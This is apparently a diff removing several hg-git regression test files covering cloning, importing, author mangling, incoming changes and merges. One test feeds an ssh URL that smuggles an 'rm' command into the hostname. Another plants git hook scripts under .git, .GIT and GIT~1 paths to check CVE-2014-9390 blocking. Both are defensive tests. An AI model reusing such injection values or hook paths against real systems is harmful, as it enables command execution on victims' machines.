$ hg clone 'git+ssh://fakehost|rm${IFS}nonexistent/path'
destination directory: path
ssh: .* fakehost%7[Cc]rm%24%7[Bb][Ii][Ff][Ss]%7[Dd]nonexistent.* (re)
abort: git remote error: The remote server unexpectedly closed the connection.
[255]
$ hg clone 'git+ssh://fakehost%7Crm${IFS}nonexistent/path'
destination directory: path
ssh: .* fakehost%7[cC]rm%24%7[Bb][Ii][Ff][Ss]%7[Dd]nonexistent.* (re)
abort: git remote error: The remote server unexpectedly closed the connection.
[255]

View File

@ -1,128 +0,0 @@
$ disable treemanifest
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ hg init hgrepo
$ cd hgrepo
$ echo alpha > alpha
$ hg add alpha
$ fn_hg_commit -m "add alpha"
$ hg log --graph --debug | grep -v phase:
@ commit: 0221c246a56712c6aa64e5ee382244d8a471b1e2
manifest: 8b8a0e87dfd7a0706c0524afa8ba67e20544cbf0
user: test
date: Mon Jan 01 00:00:10 2007 +0000
files+: alpha
extra: branch=default
description:
add alpha
$ cd ..
configure for use from git
$ hg clone hgrepo gitrepo
updating to branch default
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd gitrepo
$ hg book master
$ hg up null | egrep -v '^\(leaving bookmark master\)$'
0 files updated, 0 files merged, 1 files removed, 0 files unresolved
$ echo "[git]" >> .hg/hgrc
$ echo "intree = True" >> .hg/hgrc
$ hg gexport
do some work
$ git config core.bare false
$ git checkout master
Already on 'master'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
get things back to hg
$ hg gimport
importing git objects into hg
$ hg log --graph --debug | grep -v phase:
o commit: d294862c083a2eac3c1b31d3a3bdbdffb49a5b25
bookmark: master
manifest: f0bd6fbafbaebe4bb59c35108428f6fce152431d
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
files+: beta
extra: branch=default
extra: convert_revision=fef06279bff0022eee567d65729d8e795fd3efe8
extra: hg-git-rename-source=git
description:
add beta
o commit: 0221c246a56712c6aa64e5ee382244d8a471b1e2
manifest: 8b8a0e87dfd7a0706c0524afa8ba67e20544cbf0
user: test
date: Mon Jan 01 00:00:10 2007 +0000
files+: alpha
extra: branch=default
description:
add alpha
gimport should have updated the bookmarks as well
$ hg bookmarks
master d294862c083a
gimport support for git.mindate
$ cat >> .hg/hgrc << EOF
> [git]
> mindate = 2014-01-02 00:00:00 +0000
> EOF
$ echo oldcommit > oldcommit
$ git add oldcommit
$ GIT_AUTHOR_DATE="2014-03-01 00:00:00 +0000" \
> GIT_COMMITTER_DATE="2009-01-01 00:00:00 +0000" \
> git commit -m oldcommit > /dev/null || echo "git commit error"
$ hg gimport
no changes found
$ hg log --graph
o commit: d294862c083a
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: 0221c246a567
user: test
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
$ echo newcommit > newcommit
$ git add newcommit
$ GIT_AUTHOR_DATE="2014-01-01 00:00:00 +0000" \
> GIT_COMMITTER_DATE="2014-01-02 00:00:00 +0000" \
> git commit -m newcommit > /dev/null || echo "git commit error"
$ hg gimport
importing git objects into hg
$ hg log --graph
o commit: 3231f2356e13
bookmark: master
user: test <test@example.org>
date: Wed Jan 01 00:00:00 2014 +0000
summary: newcommit
o commit: 7912581b53bd
user: test <test@example.org>
date: Sat Mar 01 00:00:00 2014 +0000
summary: oldcommit
o commit: d294862c083a
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: 0221c246a567
user: test
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha

View File

@ -1,111 +0,0 @@
#require no-fsmonitor
$ hg debugpython -- -c 'from edenscm.mercurial.dirstate import rootcache' || exit 80
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ hg init
We should only read .gitignore files in a hg-git repo (i.e. one with .hg/git
directory) otherwise, a rogue .gitignore could slow down a hg-only repo
$ mkdir .hg/git
$ touch foo
$ touch foobar
$ touch bar
$ echo 'foo*' > .gitignore
$ hg status
? .gitignore
? bar
$ echo '*bar' > .gitignore
$ hg status
? .gitignore
? foo
$ mkdir dir
$ touch dir/foo
$ echo 'foo' > .gitignore
$ hg status
? .gitignore
? bar
? foobar
$ echo '/foo' > .gitignore
$ hg status
? .gitignore
? bar
? dir/foo
? foobar
$ rm .gitignore
$ echo 'foo' > dir/.gitignore
$ hg status
? bar
? dir/.gitignore
? foo
? foobar
$ touch dir/bar
$ echo 'bar' > .gitignore
$ hg status
? .gitignore
? dir/.gitignore
? foo
? foobar
$ echo '/bar' > .gitignore
$ hg status
? .gitignore
? dir/.gitignore
? dir/bar
? foo
? foobar
$ echo 'foo*' > .gitignore
$ echo '!*bar' >> .gitignore
$ hg status
? .gitignore
? bar
? dir/.gitignore
? dir/bar
? foobar
$ echo '.hg/' > .gitignore
$ hg status
? .gitignore
? bar
? dir/.gitignore
? dir/bar
? foo
? foobar
$ echo 'dir/.hg/' > .gitignore
$ hg status
? .gitignore
? bar
? dir/.gitignore
? dir/bar
? foo
? foobar
$ echo '.hg/foo' > .gitignore
$ hg status
? .gitignore
? bar
? dir/.gitignore
? dir/bar
? foo
? foobar
$ touch foo.hg
$ echo 'foo.hg' > .gitignore
$ hg status
? .gitignore
? bar
? dir/.gitignore
? dir/bar
? foo
? foobar
$ rm foo.hg

View File

@ -1,252 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m "add alpha"
$ git checkout -b not-master
Switched to a new branch 'not-master'
$ cd ..
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ hg book master
$ echo beta > beta
$ hg add beta
$ fn_hg_commit -u "test" -m 'add beta'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ echo gamma >> beta
$ fn_hg_commit -u "test <test@example.com> (comment)" -m 'modify beta'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ echo gamma > gamma
$ hg add gamma
$ fn_hg_commit -u "<test@example.com>" -m 'add gamma'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ echo delta > delta
$ hg add delta
$ fn_hg_commit -u "name<test@example.com>" -m 'add delta'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ echo epsilon > epsilon
$ hg add epsilon
$ fn_hg_commit -u "name <test@example.com" -m 'add epsilon'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ echo zeta > zeta
$ hg add zeta
$ fn_hg_commit -u " test " -m 'add zeta'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ echo eta > eta
$ hg add eta
$ fn_hg_commit -u "test < test@example.com >" -m 'add eta'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ echo theta > theta
$ hg add theta
$ fn_hg_commit -u "test >test@example.com>" -m 'add theta'
$ hg push
pushing to $TESTTMP/gitrepo
searching for changes
adding objects
added 1 commits with 1 trees and 1 blobs
updating reference refs/heads/master
$ hg log --graph
@ commit: de0c236bcd02
bookmark: master
user: test >test@example.com>
date: Mon Jan 01 00:00:18 2007 +0000
summary: add theta
o commit: b4ada284aa0b
user: test < test@example.com >
date: Mon Jan 01 00:00:17 2007 +0000
summary: add eta
o commit: be9e5ffbcff0
user: test
date: Mon Jan 01 00:00:16 2007 +0000
summary: add zeta
o commit: 721ffc4d7c76
user: name <test@example.com
date: Mon Jan 01 00:00:15 2007 +0000
summary: add epsilon
o commit: f1254cd4f0d9
user: name<test@example.com>
date: Mon Jan 01 00:00:14 2007 +0000
summary: add delta
o commit: 10310359956b
user: <test@example.com>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add gamma
o commit: a6260b330211
user: test <test@example.com> (comment)
date: Mon Jan 01 00:00:12 2007 +0000
summary: modify beta
o commit: 574e2d660a7d
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: 69982ec78c6d
bookmark: not-master
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
$ cd ..
$ hg clone gitrepo hgrepo2 | grep -v '^updating'
importing git objects into hg
8 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgrepo2 log --graph
@ commit: 0e82f70d8365
bookmark: master
user: test ?test@example.com <test ?test@example.com>
date: Mon Jan 01 00:00:18 2007 +0000
summary: add theta
o commit: 353db02be541
user: test <test@example.com>
date: Mon Jan 01 00:00:17 2007 +0000
summary: add eta
o commit: 8b7698cb629f
user: test
date: Mon Jan 01 00:00:16 2007 +0000
summary: add zeta
o commit: 8264dd8cdfb8
user: name <test@example.com>
date: Mon Jan 01 00:00:15 2007 +0000
summary: add epsilon
o commit: ba47c351307f
user: name <test@example.com>
date: Mon Jan 01 00:00:14 2007 +0000
summary: add delta
o commit: 44bb6eac290f
user: <test@example.com>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add gamma
o commit: 9699c3457ee8
user: test <test@example.com> (comment)
date: Mon Jan 01 00:00:12 2007 +0000
summary: modify beta
o commit: 4272913025dd
user: test
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
o commit: 69982ec78c6d
bookmark: not-master
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
$ git --git-dir=gitrepo/.git log --pretty=medium master
commit 2fe60ba69727981e6ede78be70354c3a9e30e21d
Author: test ?test@example.com <test ?test@example.com>
Date: Mon Jan 1 00:00:18 2007 +0000
add theta
commit 9f2f7cafdbf2e467928db98de8275141001d3081
Author: test <test@example.com>
Date: Mon Jan 1 00:00:17 2007 +0000
add eta
commit 172a6f8d8064d73dff7013e395a9fe3cfc3ff807
Author: test <none@none>
Date: Mon Jan 1 00:00:16 2007 +0000
add zeta
commit 71badb8e343a7da391a9b5d98909fbd2ca7d78f2
Author: name <test@example.com>
Date: Mon Jan 1 00:00:15 2007 +0000
add epsilon
commit 9a9ae7b7f310d4a1a3e732a747ca26f06934f8d8
Author: name <test@example.com>
Date: Mon Jan 1 00:00:14 2007 +0000
add delta
commit e4149a32e81e380193f59aa8773349201b8ed7f7
Author: <test@example.com>
Date: Mon Jan 1 00:00:13 2007 +0000
add gamma
commit fae95aef5889a80103c2fbd5d14ff6eb8c9daf93
Author: test ext:(%20%28comment%29) <test@example.com>
Date: Mon Jan 1 00:00:12 2007 +0000
modify beta
commit 0f378ab6c2c6b5514bd873d3faf8ac4b8095b001
Author: test <none@none>
Date: Mon Jan 1 00:00:11 2007 +0000
add beta
commit 7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
add alpha

View File

@ -1,136 +0,0 @@
Check for contents we should refuse to export to git repositories (or
at least warn).
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ hg init hg
$ cd hg
$ mkdir -p .git/hooks
$ cat > .git/hooks/post-update <<EOF
> #!/bin/sh
> echo pwned
> EOF
#if fsmonitor
$ hg addremove
#else
$ hg addremove
adding .git/hooks/post-update
$ hg ci -m "we should refuse to export this"
$ hg book master
$ hg gexport
abort: Refusing to export likely-dangerous path '.git/hooks/post-update'
(If you need to continue, read about CVE-2014-9390 and then set '[git] blockdotgit = false' in your hgrc.)
[255]
#endif
$ cd ..
$ rm -rf hg
$ hg init hg
$ cd hg
$ mkdir -p nested/.git/hooks/
$ cat > nested/.git/hooks/post-update <<EOF
> #!/bin/sh
> echo pwnd
> EOF
$ chmod +x nested/.git/hooks/post-update
$ hg addremove
adding nested/.git/hooks/post-update
$ hg ci -m "also refuse to export this"
$ hg book master
$ hg gexport
abort: Refusing to export likely-dangerous path 'nested/.git/hooks/post-update'
(If you need to continue, read about CVE-2014-9390 and then set '[git] blockdotgit = false' in your hgrc.)
[255]
We can override if needed:
$ hg --config git.blockdotgit=false gexport
warning: path 'nested/.git/hooks/post-update' contains a dangerous path component.
It may not be legal to check out in Git.
It may also be rejected by some git server configurations.
$ cd ..
$ git clone hg/.hg/git git
Cloning into 'git'...
done.
error: invalid path 'nested/.git/hooks/post-update'
fatal: unable to checkout working tree
warning: Clone succeeded, but checkout failed.
You can inspect what was checked out with 'git status'
and retry with 'git restore --source=HEAD :/'
[128]
Now check something that case-folds to .git, which might let you own
Mac users:
$ cd ..
$ rm -rf hg
$ hg init hg
$ cd hg
$ mkdir -p .GIT/hooks/
$ cat > .GIT/hooks/post-checkout <<EOF
> #!/bin/sh
> echo pwnd
> EOF
$ chmod +x .GIT/hooks/post-checkout
$ hg addremove
adding .GIT/hooks/post-checkout
$ hg ci -m "also refuse to export this"
$ hg book master
$ hg gexport
$ cd ..
And the NTFS case:
$ cd ..
$ rm -rf hg
$ hg init hg
$ cd hg
$ mkdir -p GIT~1/hooks/
$ cat > GIT~1/hooks/post-checkout <<EOF
> #!/bin/sh
> echo pwnd
> EOF
$ chmod +x GIT~1/hooks/post-checkout
$ hg addremove
adding GIT~1/hooks/post-checkout
$ hg ci -m "also refuse to export this"
$ hg book master
$ hg gexport
abort: Refusing to export likely-dangerous path 'GIT~1/hooks/post-checkout'
(If you need to continue, read about CVE-2014-9390 and then set '[git] blockdotgit = false' in your hgrc.)
[255]
$ cd ..
Now check a Git repository containing a Mercurial repository, which
you can't check out.
$ rm -rf hg git nested
$ git init -q git
$ hg init nested
$ mv nested git
$ cd git
$ git add nested
$ fn_git_commit -m 'add a Mercurial repository'
$ cd ..
$ hg clone git hg
importing git objects into hg
abort: Refusing to import problematic path 'nested/.hg/00changelog.i'
(Mercurial cannot check out paths inside nested repositories; if you need to continue, then set '[git] blockdothg = false' in your hgrc.)
[255]
$ hg clone --config git.blockdothg=false git hg
importing git objects into hg
warning: path 'nested/.hg/00changelog.i' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/hgrc.dynamic' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/reponame' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/requires' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/store/metalog/blobs/index2-id' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/store/metalog/blobs/log' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/store/metalog/blobs/meta' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/store/metalog/roots/index2-reverse' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/store/metalog/roots/log' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/store/metalog/roots/meta' is within a nested repository, which Mercurial cannot check out.
warning: path 'nested/.hg/store/requires' is within a nested repository, which Mercurial cannot check out.
updating to branch default
abort: path 'nested/.hg/00changelog.i' is inside nested repo 'nested'
[255]
$ cd ..

View File

@ -1,132 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ disable treemanifest
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m "add alpha"
$ cd ..
$ hg init hgrepo-empty
$ hg -R hgrepo-empty incoming gitrepo 2>&1 | grep -v 'no changes found'
comparing with gitrepo
commit: 7eeab2ea75ec
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:10 2007 +0000
summary: add alpha
$ hg clone gitrepo hgrepo 2>&1 | grep -v '^updating'
importing git objects into hg
1 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ hg -R hgrepo incoming 2>&1 | grep -v 'no changes found'
comparing with $TESTTMP/gitrepo
$ cd gitrepo
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ cd ..
$ hg -R hgrepo incoming 2>&1 | grep -v 'no changes found'
comparing with $TESTTMP/gitrepo
commit: 9497a4ee62e1
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
$ cd gitrepo
$ git checkout -b b1 'HEAD^'
Switched to a new branch 'b1'
$ mkdir d
$ echo gamma > d/gamma
$ git add d/gamma
$ fn_git_commit -m'add d/gamma'
$ git tag t1
$ echo gamma 2 >> d/gamma
$ git add d/gamma
$ fn_git_commit -m'add d/gamma line 2'
$ cd ../hgrepo
$ hg incoming -p 2>&1 | grep -v 'no changes found'
comparing with $TESTTMP/gitrepo
commit: 9497a4ee62e1
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
diff -r 69982ec78c6d -r 9497a4ee62e1 beta
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/beta Mon Jan 01 00:00:11 2007 +0000
@@ -0,0 +1,1 @@
+beta
commit: 9865e289be73
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add d/gamma
diff -r 69982ec78c6d -r 9865e289be73 d/gamma
--- /dev/null Thu Jan 01 00:00:00 1970 +0000
+++ b/d/gamma Mon Jan 01 00:00:12 2007 +0000
@@ -0,0 +1,1 @@
+gamma
commit: 5202f48c20c9
bookmark: b1
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add d/gamma line 2
diff -r 9865e289be73 -r 5202f48c20c9 d/gamma
--- a/d/gamma Mon Jan 01 00:00:12 2007 +0000
+++ b/d/gamma Mon Jan 01 00:00:13 2007 +0000
@@ -1,1 +1,2 @@
gamma
+gamma 2
incoming -r
$ hg incoming -r master 2>&1 | grep -v 'no changes found'
comparing with $TESTTMP/gitrepo
commit: 9497a4ee62e1
bookmark: master
user: test <test@example.org>
date: Mon Jan 01 00:00:11 2007 +0000
summary: add beta
$ hg incoming -r b1 2>&1 | grep -v 'no changes found'
comparing with $TESTTMP/gitrepo
commit: 9865e289be73
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add d/gamma
commit: 5202f48c20c9
bookmark: b1
user: test <test@example.org>
date: Mon Jan 01 00:00:13 2007 +0000
summary: add d/gamma line 2
$ hg incoming -r t1 2>&1 | grep -v 'no changes found'
comparing with $TESTTMP/gitrepo
commit: 9865e289be73
user: test <test@example.org>
date: Mon Jan 01 00:00:12 2007 +0000
summary: add d/gamma
nothing incoming after pull
"adding remote bookmark" message was added in Mercurial 2.3
$ hg pull 2>&1 | grep -v "adding remote bookmark"
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ hg incoming 2>&1 | grep -v 'no changes found'
comparing with $TESTTMP/gitrepo

View File

@ -1,58 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
This commit is called gamma10 so that its hash will have the same initial digit
as commit alpha. This lets us test ambiguous abbreviated identifiers.
$ echo gamma10 > gamma10
$ git add gamma10
$ fn_git_commit -m 'add gamma10'
$ cd ..
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
3 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ echo gamma > gamma
$ hg add gamma
$ hg commit -m 'add gamma'
Remove the mapfile so we can ensure the gitnode is from the extras not the mapfile.
$ mv .hg/git-mapfile .hg/git-mapfile-bak
$ hg log --template "{node} {node|short} {gitnode} {gitnode|short}\n"
f5172ebb976873f9e41d2958e3b665a985128b00 f5172ebb9768
fedf4edd982fb98273f2255d6b97c892ec208427 fedf4edd982f 7e2a5465ff4e3b992c429bb87a392620a0ac97b7 7e2a5465ff4e
3bb02b6794ddc0b498cdc15f59f2e6724cabfa2f 3bb02b6794dd 9497a4ee62e16ee641860d7677cdb2589ea15554 9497a4ee62e1
69982ec78c6dd2f24b3b62f3e2baaa79ab48ed93 69982ec78c6d 7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03 7eeab2ea75ec
$ mv .hg/git-mapfile-bak .hg/git-mapfile
$ hg log --template "fromgit {node}\n" --rev "fromgit()"
fromgit 69982ec78c6dd2f24b3b62f3e2baaa79ab48ed93
fromgit 3bb02b6794ddc0b498cdc15f59f2e6724cabfa2f
fromgit fedf4edd982fb98273f2255d6b97c892ec208427
$ hg log --template "gitnode_existsA {node}\n" --rev "gitnode(9497a4ee62e16ee641860d7677cdb2589ea15554)"
gitnode_existsA 3bb02b6794ddc0b498cdc15f59f2e6724cabfa2f
$ hg log --template "gitnode_existsB {node}\n" --rev "gitnode(7eeab)"
gitnode_existsB 69982ec78c6dd2f24b3b62f3e2baaa79ab48ed93
$ hg log --rev "gitnode(7e)"
abort: git-mapfile@7e: ambiguous identifier!
[255]
$ hg log --template "gitnode_notexists {node}\n" --rev "gitnode(1234567890ab)"
Try other extensioins that provide "{gitnode}":
$ hg log -r 'tip^' --template "{gitnode}\n"
7e2a5465ff4e3b992c429bb87a392620a0ac97b7
$ hg log -r 'tip^' --template "{gitnode}\n" --config extensions.fbscmquery=
7e2a5465ff4e3b992c429bb87a392620a0ac97b7
$ hg log -r 'tip^' --template "{gitnode}\n" --config extensions.gitrevset=
7e2a5465ff4e3b992c429bb87a392620a0ac97b7

View File

@ -1,84 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ git checkout -b beta
Switched to a new branch 'beta'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ git checkout master
Switched to branch 'master'
$ echo gamma > gamma
$ git add gamma
$ fn_git_commit -m 'add gamma'
clean merge
$ git merge beta
Merge made by the 'recursive' strategy.
beta | 1 +
1 file changed, 1 insertion(+)
create mode 100644 beta
$ cd ..
$ git init -q --bare gitrepo2
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
3 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
clear the cache to be sure it is regenerated correctly
$ hg gclear
clearing out the git cache data
$ hg push ../gitrepo2
pushing to ../gitrepo2
searching for changes
adding objects
added 4 commits with 4 trees and 3 blobs
$ cd ..
git log in repo pushed from hg
$ git --git-dir=gitrepo2 log --pretty=medium master
commit fdbdf0eb28dbc846a66f8bf458c5aa8ebfc87412
Merge: 3ab4bf1 dbed4f6
Author: test <test@example.org>
Date: Mon Jan 1 00:00:12 2007 +0000
Merge branch 'beta'
commit 3ab4bf1785d6dbdb82467bf09e6aa1450312968d
Author: test <test@example.org>
Date: Mon Jan 1 00:00:12 2007 +0000
add gamma
commit dbed4f6a8ff04d4d1f0a5ce79f9a07cf0f461d7f
Author: test <test@example.org>
Date: Mon Jan 1 00:00:11 2007 +0000
add beta
commit 205598a42833e532ad20d80414b8e3b85a65936e
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
add alpha
$ git --git-dir=gitrepo2 log --pretty=medium beta
commit dbed4f6a8ff04d4d1f0a5ce79f9a07cf0f461d7f
Author: test <test@example.org>
Date: Mon Jan 1 00:00:11 2007 +0000
add beta
commit 205598a42833e532ad20d80414b8e3b85a65936e
Author: test <test@example.org>
Date: Mon Jan 1 00:00:10 2007 +0000
add alpha

View File

@ -1,63 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
set up a git repo
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ git checkout -qb beta
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ cd ..
pull a branch with the old mapfile
$ hg init hgrepo
$ cd hgrepo
$ echo "[paths]" >> .hg/hgrc
$ echo "default=$TESTTMP/gitrepo" >> .hg/hgrc
$ hg pull -r master
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ ls -d .hg/git-mapfile*
.hg/git-mapfile
$ hg log -r tip -T '{gitnode}\n'
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03
pull more commits with the new nodemap
$ setconfig hggit.indexedlognodemap=True
$ hg pull -r beta
pulling from $TESTTMP/gitrepo
importing git objects into hg
$ ls -d .hg/git-mapfile*
.hg/git-mapfile
.hg/git-mapfile-log
$ hg log -r 'tip^::tip' -T '{gitnode}\n'
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03
9497a4ee62e16ee641860d7677cdb2589ea15554
can still get the mapping without the old map file
$ mv .hg/git-mapfile .hg/git-mapfile.old
$ hg log -r 'tip^::tip' -T '{gitnode}\n'
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03
9497a4ee62e16ee641860d7677cdb2589ea15554
$ mv .hg/git-mapfile.old .hg/git-mapfile
can still get the mapping without the nodemap
$ mv .hg/git-mapfile-log .hg/git-mapfile-log.old
$ hg log -r 'tip^::tip' -T '{gitnode}\n'
7eeab2ea75ec1ac0ff3d500b5b6f8a3447dd7c03
9497a4ee62e16ee641860d7677cdb2589ea15554
$ mv .hg/git-mapfile-log.old .hg/git-mapfile-log
git cleanup cleans nodemap
$ hg bundle -r tip --base 'tip^' ../mybundle.hg
1 changesets found
$ hg debugstrip -r tip --no-backup
$ hg git-cleanup
git commit map cleaned
$ hg unbundle -q ../mybundle.hg
$ hg log -r tip -T '{gitnode}\n'
9497a4ee62e16ee641860d7677cdb2589ea15554

View File

@ -1,163 +0,0 @@
Load commonly used test logic
$ . "$TESTDIR/hggit/testutil"
$ git init -q gitrepo
$ cd gitrepo
$ echo alpha > alpha
$ git add alpha
$ fn_git_commit -m 'add alpha'
$ git checkout -b branch1
Switched to a new branch 'branch1'
$ echo beta > beta
$ git add beta
$ fn_git_commit -m 'add beta'
$ git checkout -b branch2 master
Switched to a new branch 'branch2'
$ echo gamma > gamma
$ git add gamma
$ fn_git_commit -m 'add gamma'
$ git checkout -b branch3 master
Switched to a new branch 'branch3'
$ echo epsilon > epsilon
$ git add epsilon
$ fn_git_commit -m 'add epsilon'
$ git checkout -b branch4 master
Switched to a new branch 'branch4'
$ echo zeta > zeta
$ git add zeta
$ fn_git_commit -m 'add zeta'
$ git checkout master
Switched to branch 'master'
$ echo delta > delta
$ git add delta
$ fn_git_commit -m 'add delta'
$ git merge branch1 branch2
Trying simple merge with branch1
Trying simple merge with branch2
Merge made by the 'octopus' strategy.
beta | 1 +
gamma | 1 +
2 files changed, 2 insertions(+)
create mode 100644 beta
create mode 100644 gamma
$ git merge branch3 branch4
Trying simple merge with branch3
Trying simple merge with branch4
Merge made by the 'octopus' strategy.
epsilon | 1 +
zeta | 1 +
2 files changed, 2 insertions(+)
create mode 100644 epsilon
create mode 100644 zeta
$ cd ..
$ git init -q --bare gitrepo2
$ hg clone gitrepo hgrepo | grep -v '^updating'
importing git objects into hg
6 files updated, 0 files merged, 0 files removed, 0 files unresolved
$ cd hgrepo
$ hg log --graph --style compact
@ [master] 49ab838a9c6d 2007-01-01 00:00 +0000 test
Merge branches 'branch3' and 'branch4'
o 772137582d44 2007-01-01 00:00 +0000 test
Merge branches 'branch3' and 'branch4'
o 605318eb3cbf 2007-01-01 00:00 +0000 test
Merge branches 'branch1' and 'branch2'
o c37d2773086b 2007-01-01 00:00 +0000 test
Merge branches 'branch1' and 'branch2'
o e70767a0294a 2007-01-01 00:00 +0000 test
add delta
o [branch4] 8b150650bbba 2007-01-01 00:00 +0000 test
add zeta
o [branch3] b869fdf3e852 2007-01-01 00:00 +0000 test
add epsilon
o [branch2] 328de8a94600 2007-01-01 00:00 +0000 test
add gamma
o [branch1] 3bb02b6794dd 2007-01-01 00:00 +0000 test
add beta
o 69982ec78c6d 2007-01-01 00:00 +0000 test
add alpha
$ hg gverify -r 'max(desc(Merge))'
verifying rev 49ab838a9c6d against git commit b32ff845df61df998206b630e4370a44f9b36845
$ hg gverify -r 772137582d44293df8e61e0f3b99ced712235bba
abort: no git commit found for rev 772137582d44
(if this is an octopus merge, verify against the last rev)
[255]
$ hg gclear
clearing out the git cache data
$ hg push ../gitrepo2
pushing to ../gitrepo2
searching for changes
adding objects
added 8 commits with 8 trees and 6 blobs
$ cd ..
$ git --git-dir=gitrepo2 log --pretty=medium
commit 2359e57d541911d60d80549ad41462b220d10c65
Merge: f37a7b7 7ceac1d 692cf8a
Author: test <test@example.org>
Date: Mon Jan 1 00:00:15 2007 +0000
Merge branches 'branch3' and 'branch4'
commit f37a7b7b4969612fd5ab85b6d31d6465c25fef0b
Merge: 47293d4 dbed4f6 3ab4bf1
Author: test <test@example.org>
Date: Mon Jan 1 00:00:15 2007 +0000
Merge branches 'branch1' and 'branch2'
commit 47293d46a21e55863c4a47f168731a2b9f95712b
Author: test <test@example.org>
Date: Mon Jan 1 00:00:15 2007 +0000
add delta
commit 692cf8ab35262a87694759a7668700632ca52c47
Author: test <test@example.org>
Date: Mon Jan 1 00:00:14 2007 +0000
add zeta
commit 7ceac1da981d4d67a88c662cc1c27e5e40c95884
Author: test <test@example.org>
Date: Mon Jan 1 00:00:13 2007 +0000
add epsilon
commit 3ab4bf1785d6dbdb82467bf09e6aa1450312968d
Author: test <test@example.org>
Date: Mon Jan 1 00:00:12 2007 +0000
add gamma
commit dbed4f6a8ff04d4d1f0a5ce79f9a07cf0f461d7f
Author: test <test@example.org>
